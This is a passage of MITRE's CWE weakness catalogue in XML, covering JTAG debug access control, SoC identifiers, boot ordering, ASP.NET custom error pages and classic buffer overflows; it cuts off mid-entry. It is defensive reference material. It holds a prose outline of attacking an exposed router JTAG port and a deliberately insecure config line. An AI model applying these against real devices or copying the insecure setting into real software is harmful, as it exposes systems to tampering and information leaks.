      <Weakness ID="1191" Name="On-Chip Debug and Test Interface With Improper Access Control" Abstraction="Base" Structure="Simple" Status="Stable">
     <Description>The chip does not implement or does not correctly perform access control to check whether users are authorized to access internal registers and test modes through the physical debug/test interface.</Description>
     <Extended_Description>
      <xhtml:p>A device's internal information may be accessed through a scan chain of interconnected internal registers, usually through a JTAG interface. The JTAG interface provides access to these registers in a serial fashion in the form of a scan chain for the purposes of debugging programs running on a device. Since almost all information contained within a device may be accessed over this interface, device manufacturers typically insert some form of authentication and authorization to prevent unintended use of this sensitive information. This mechanism is implemented in addition to on-chip protections that are already present.</xhtml:p>
      <xhtml:p>If authorization, authentication, or some other form of access control is not implemented or not implemented correctly, a user may be able to bypass on-chip protection mechanisms through the debug interface.</xhtml:p>
      <xhtml:p>Sometimes, designers choose not to expose the debug pins on the motherboard. Instead, they choose to hide these pins in the intermediate layers of the board. This is primarily done to work around the lack of debug authorization inside the chip. In such a scenario (without debug authorization), when the debug interface is exposed, chip internals are accessible to an attacker.</xhtml:p>
     </Extended_Description>
     <Related_Weaknesses>
      <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
     </Related_Weaknesses>
		 <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
		 </Weakness_Ordinalities>
     <Applicable_Platforms>
      <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
      <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
      <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
      <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
     </Applicable_Platforms>
     <Modes_Of_Introduction>
      <Introduction>
        <Phase>Architecture and Design</Phase>
      </Introduction>
      <Introduction>
        <Phase>Implementation</Phase>
      </Introduction>
     </Modes_Of_Introduction>
     <Common_Consequences>
      <Consequence>
        <Scope>Confidentiality</Scope>
        <Impact>Read Application Data</Impact>
			  <Likelihood>High</Likelihood>
      </Consequence>
      <Consequence>
        <Scope>Confidentiality</Scope>
        <Impact>Read Memory</Impact>
			  <Likelihood>High</Likelihood>
      </Consequence>
      <Consequence>
        <Scope>Authorization</Scope>
        <Impact>Execute Unauthorized Code or Commands</Impact>
			  <Likelihood>High</Likelihood>
      </Consequence>
      <Consequence>
        <Scope>Integrity</Scope>
        <Impact>Modify Memory</Impact>
			  <Likelihood>High</Likelihood>
      </Consequence>
      <Consequence>
        <Scope>Integrity</Scope>
        <Impact>Modify Application Data</Impact>
			  <Likelihood>High</Likelihood>
      </Consequence>
      <Consequence>
        <Scope>Access Control</Scope>
        <Impact>Bypass Protection Mechanism</Impact>
			  <Likelihood>High</Likelihood>
      </Consequence>
     </Common_Consequences>
     <Detection_Methods>
       <Detection_Method>
	 <Method>Dynamic Analysis with Manual Results Interpretation</Method>
	 <Description><xhtml:p>Authentication and authorization of debug and test interfaces should be part of the architecture and design review process. Withholding of private register documentation from the debug and test interface public specification ("Security by obscurity") should not be considered as sufficient security.</xhtml:p></Description>
       </Detection_Method>
       <Detection_Method>
	 <Method>Dynamic Analysis with Manual Results Interpretation</Method>
	 <Description><xhtml:p>Dynamic tests should be done in the pre-silicon and post-silicon stages to verify that the debug and test interfaces are not open by default.</xhtml:p></Description>
       </Detection_Method>
       <Detection_Method>
	 <Method>Fuzzing</Method>
	 <Description>Tests that fuzz Debug and Test Interfaces should ensure that no access without appropriate authentication and authorization is possible.</Description>
	 <Effectiveness>Moderate</Effectiveness>
       </Detection_Method>
     </Detection_Methods>
     <Potential_Mitigations>
       <Mitigation>
	 <Phase>Architecture and Design</Phase>
	 <Strategy>Separation of Privilege</Strategy>
	 <Description>
	   If feasible, the manufacturer should disable the JTAG interface or implement authentication and authorization for the JTAG interface. If authentication logic is added, it should be resistant to timing attacks. Security-sensitive data stored in registers, such as keys, etc. should be cleared when entering debug mode.
	 </Description>
	 <Effectiveness>High</Effectiveness>
       </Mitigation>
     </Potential_Mitigations>
    <Demonstrative_Examples>
<Demonstrative_Example>
        <Intro_Text>A home, WiFi-router device implements a login prompt which prevents an unauthorized user from issuing any commands on the device until appropriate credentials are provided. The credentials are protected on the device and are checked for strength against attack.</Intro_Text>
        <Example_Code Nature="Bad" Language="Other">
	  <xhtml:p>If the JTAG interface on this device is not hidden by the manufacturer, the interface may be identified using tools such as JTAGulator. If it is hidden but not disabled, it can be exposed by physically wiring to the board.</xhtml:p>
	  <xhtml:p>By issuing a "halt" command before the OS starts, the unauthorized user pauses the watchdog timer and prevents the router from restarting (once the watchdog timer would have expired). Having paused the router, an unauthorized user is able to execute code and inspect and modify data in the device, even extracting all of the router's firmware. This allows the user to examine the router and potentially exploit it.</xhtml:p>
	</Example_Code>
	<Body_Text>JTAG is useful to chip and device manufacturers during design, testing, and production and is included in nearly every product. Without proper authentication and authorization, the interface may allow tampering with a product.</Body_Text>
	<Example_Code Nature="Good" Language="Other">In order to prevent exposing the debugging interface, manufacturers might try to obfuscate the JTAG interface or blow device internal fuses to disable the JTAG interface. Adding authentication and authorization to this interface makes use by unauthorized individuals much more difficult.</Example_Code>
    </Demonstrative_Example>
    </Demonstrative_Examples>
     <Observed_Examples>
      <Observed_Example>
       <Reference>CVE-2019-18827</Reference>
       <Description>chain: JTAG interface is not disabled (CWE-1191) during ROM code execution, introducing a race condition (CWE-362) to extract encryption keys</Description>
       <Link>https://www.cve.org/CVERecord?id=CVE-2019-18827</Link>
      </Observed_Example>
     </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="1"/>
            <Related_Attack_Pattern CAPEC_ID="180"/>
         </Related_Attack_Patterns>
         <References>
      <Reference External_Reference_ID="REF-1037"/>
      <Reference External_Reference_ID="REF-1043"/>
      <Reference External_Reference_ID="REF-1084"/>
      <Reference External_Reference_ID="REF-1085"/>
     </References>
      <Notes>
	<Note Type="Relationship">
	  CWE-1191 and CWE-1244 both involve physical debug access,
	  but the weaknesses are different. CWE-1191 is effectively
	  about missing authorization for a debug interface,
	  i.e. JTAG.  CWE-1244 is about providing internal assets with
	  the wrong debug access level, exposing the asset to
	  untrusted debug agents.</Note>
      </Notes>
     <Content_History>
      <Submission>
			  <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
        <Submission_Organization>Intel Corporation</Submission_Organization>
        <Submission_Date>2019-10-15</Submission_Date>
      </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Name, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Potential_Mitigations, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Detection_Factors, Maintenance_Notes, Name, Potential_Mitigations, Relationship_Notes, Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Description, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Contribution Type="Content">
				  <Contribution_Name>Parbati K. Manna</Contribution_Name>
				  <Contribution_Organization>Intel Corporation</Contribution_Organization>
				  <Contribution_Date>2021-10-18</Contribution_Date>
				  <Contribution_Comment>provided detection methods</Contribution_Comment>
				</Contribution>
				<Contribution Type="Feedback">
				  <Contribution_Name>Narasimha Kumar V Mangipudi</Contribution_Name>
				  <Contribution_Organization>Lattice Semiconductor</Contribution_Organization>
				  <Contribution_Date>2021-10-20</Contribution_Date>
				  <Contribution_Comment>reviewed content changes</Contribution_Comment>
				</Contribution>
				<Contribution Type="Content">
				  <Contribution_Name>Hareesh Khattri</Contribution_Name>
				  <Contribution_Organization>Intel Corporation</Contribution_Organization>
				  <Contribution_Date>2021-10-22</Contribution_Date>
				  <Contribution_Comment>clarified differences between CWE-1191 and CWE-1244</Contribution_Comment>
				</Contribution>
				<Contribution Type="Content">
				  <Contribution_Name>Arun Kanuparthi</Contribution_Name>
				  <Contribution_Organization>Intel Corporation</Contribution_Organization>
				  <Contribution_Date>2021-10-27</Contribution_Date>
				  <Contribution_Comment>suggested additional detail in extended description</Contribution_Comment>
				</Contribution>
			<Previous_Entry_Name Date="2020-02-26">Exposed Chip Debug Interface With Insufficient Access Control</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-08-20">Exposed Chip Debug and or Test Interface With Insufficient Access Control</Previous_Entry_Name>
			<Previous_Entry_Name Date="2021-10-28">Exposed Chip Debug and Test Interface With Insufficient or Missing Authorization</Previous_Entry_Name>
     </Content_History>
   </Weakness>
      <Weakness ID="1192" Name="System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The System-on-Chip (SoC) does not have unique, immutable identifiers for each of its components.</Description>
         <Extended_Description>
	   <xhtml:p>A System-on-Chip (SoC) comprises several components (IP) with varied
           trust requirements. It is required that each IP is identified
           uniquely and should distinguish itself from other entities in
           the SoC without any ambiguity. The unique secured identity is
           required for various purposes. Most of the time the identity is used
           to route a transaction or perform certain actions, including 
           resetting, retrieving a sensitive information, and acting upon or on
           behalf of something else.</xhtml:p>
           <xhtml:p>There are several variants of this weakness:</xhtml:p>
            <xhtml:ul>
	      <xhtml:li>A "missing" identifier is when the SoC does not define
	      any mechanism to uniquely identify the IP.</xhtml:li>
	      <xhtml:li>An "insufficient" identifier might provide
	      some defenses - for example, against the most common
	      attacks - but it does not protect against everything
	      that is intended.</xhtml:li>
	      <xhtml:li>A "misconfigured" mechanism occurs when a mechanism
              is available but not implemented correctly.</xhtml:li>
	      <xhtml:li>An "ignored" identifier occurs when the SoC/IP has not applied
	      any policies or does not act upon the identifier securely.</xhtml:li>
            </xhtml:ul>
         </Extended_Description>
          <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="657" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
        <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="System on Chip" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
			   <Likelihood>High</Likelihood>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
                <Phase>Architecture and Design</Phase>
                <Strategy>Separation of Privilege</Strategy>
                <Description>
                  <xhtml:p>
                    Every identity generated in the SoC should be unique and
                    immutable in hardware. The actions that an IP is trusted or
                    not trusted should be clearly defined, implemented,
                    configured, and tested. If the definition is implemented via a
                    policy, then the policy should be immutable or protected with
                    clear authentication and authorization.
                  </xhtml:p>
                </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="113"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
               <Submission_Organization>Intel Corporation</Submission_Organization>
               <Submission_Date>2019-10-15</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1193" Name="Power-On of Untrusted Execution Core Before Enabling Fabric Access Control" Abstraction="Base" Structure="Simple" Status="Draft">
        <Description>The product enables components that contain untrusted firmware before memory and fabric access controls have been enabled.</Description>
	<Extended_Description>
	  <xhtml:p>
	   After initial reset, System-on-Chip (SoC) fabric access controls and other
           security features need to be programmed by trusted firmware as part
           of the boot sequence. If untrusted IPs or peripheral microcontrollers
	   are enabled first, then the untrusted component can master
           transactions on the hardware bus and target memory or other assets to
           compromise the SoC boot firmware.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="696" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
		 <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
			   <Likelihood>High</Likelihood>
               <Note>An untrusted component can master transactions on the HW bus and target memory or other assets to compromise the SoC boot firmware.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
                <Phase>Architecture and Design</Phase>
                <Description>
                  <xhtml:p>The boot sequence should enable fabric access controls and memory protections before enabling third-party hardware IPs and peripheral microcontrollers that use untrusted firmware.</xhtml:p>
                </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="1"/>
            <Related_Attack_Pattern CAPEC_ID="180"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-1130"/>
            <Reference External_Reference_ID="REF-1042"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
               <Submission_Organization>Intel Corporation</Submission_Organization>
               <Submission_Date>2019-10-15</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated References, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="12" Name="ASP.NET Misconfiguration: Missing Custom Error Page" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>An ASP .NET application must enable custom error pages in order to prevent attackers from mining information from the framework's built-in responses.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="756" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="ASP.NET" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>The mode attribute of the &lt;customErrors&gt; tag defines whether custom or default error pages are used.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>Default error pages gives detailed information about the error that occurred, and should not be used in production environments. Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>Handle exceptions appropriately in source code. ASP .NET applications should be configured to use custom error pages instead of the framework default page.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not attempt to process an error or attempt to mask it.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Verify return values are correct and do not supply sensitive information about the system.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-75">
               <Intro_Text>The mode attribute of the &lt;customErrors&gt; tag in the Web.config file defines whether custom or default error pages are used.</Intro_Text>
               <Body_Text>In the following insecure ASP.NET application setting, custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.</Body_Text>
               <Example_Code Nature="Bad" Language="ASP.NET">
                  <xhtml:div>&lt;customErrors mode="Off" /&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>A more secure setting is to set the custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.</Body_Text>
               <Example_Code Nature="Good" Language="ASP.NET">
                  <xhtml:div>&lt;customErrors mode="RemoteOnly" /&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>Another secure option is to set the mode attribute of the &lt;customErrors&gt; tag to use a custom page as follows:</Body_Text>
               <Example_Code Nature="Good" Language="ASP.NET">
                  <xhtml:div>&lt;customErrors mode="On" defaultRedirect="YourErrorPage.htm" /&gt;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>ASP.NET Misconfiguration: Missing Custom Error Handling</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-65"/>
            <Reference External_Reference_ID="REF-66"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated References, Demonstrative_Example, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Background_Details, Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-03-10">ASP.NET Misconfiguration: Missing Custom Error Handling</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="120" Name="Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.</Description>
         <Extended_Description>A buffer overflow condition exists when a product attempts to put more data in a buffer than it can hold, or when it attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the "classic" case in which the product copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1003" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1340" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="123" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Class="Assembly" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Classic Buffer Overflow</Term>
               <Description>This term was frequently used by vulnerability researchers during approximately 1995 to 2005 to differentiate buffer copies without length checks (which had been known about for decades) from other emerging weaknesses that still involved invalid accesses of buffers, as vulnerability researchers began to develop advanced exploitation techniques.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Unbounded Transfer</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of the product's implicit security policy. This can often be used to subvert any other security service.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Note>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the product into an infinite loop.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-1">
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.</xhtml:p>
                  <xhtml:p>Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>Detection techniques for buffer-related errors are more mature than for most other weakness types.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-2">
               <Method>Automated Dynamic Analysis</Method>
               <Description>This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</Description>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-9">
               <Method>Manual Analysis</Method>
               <Description>Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
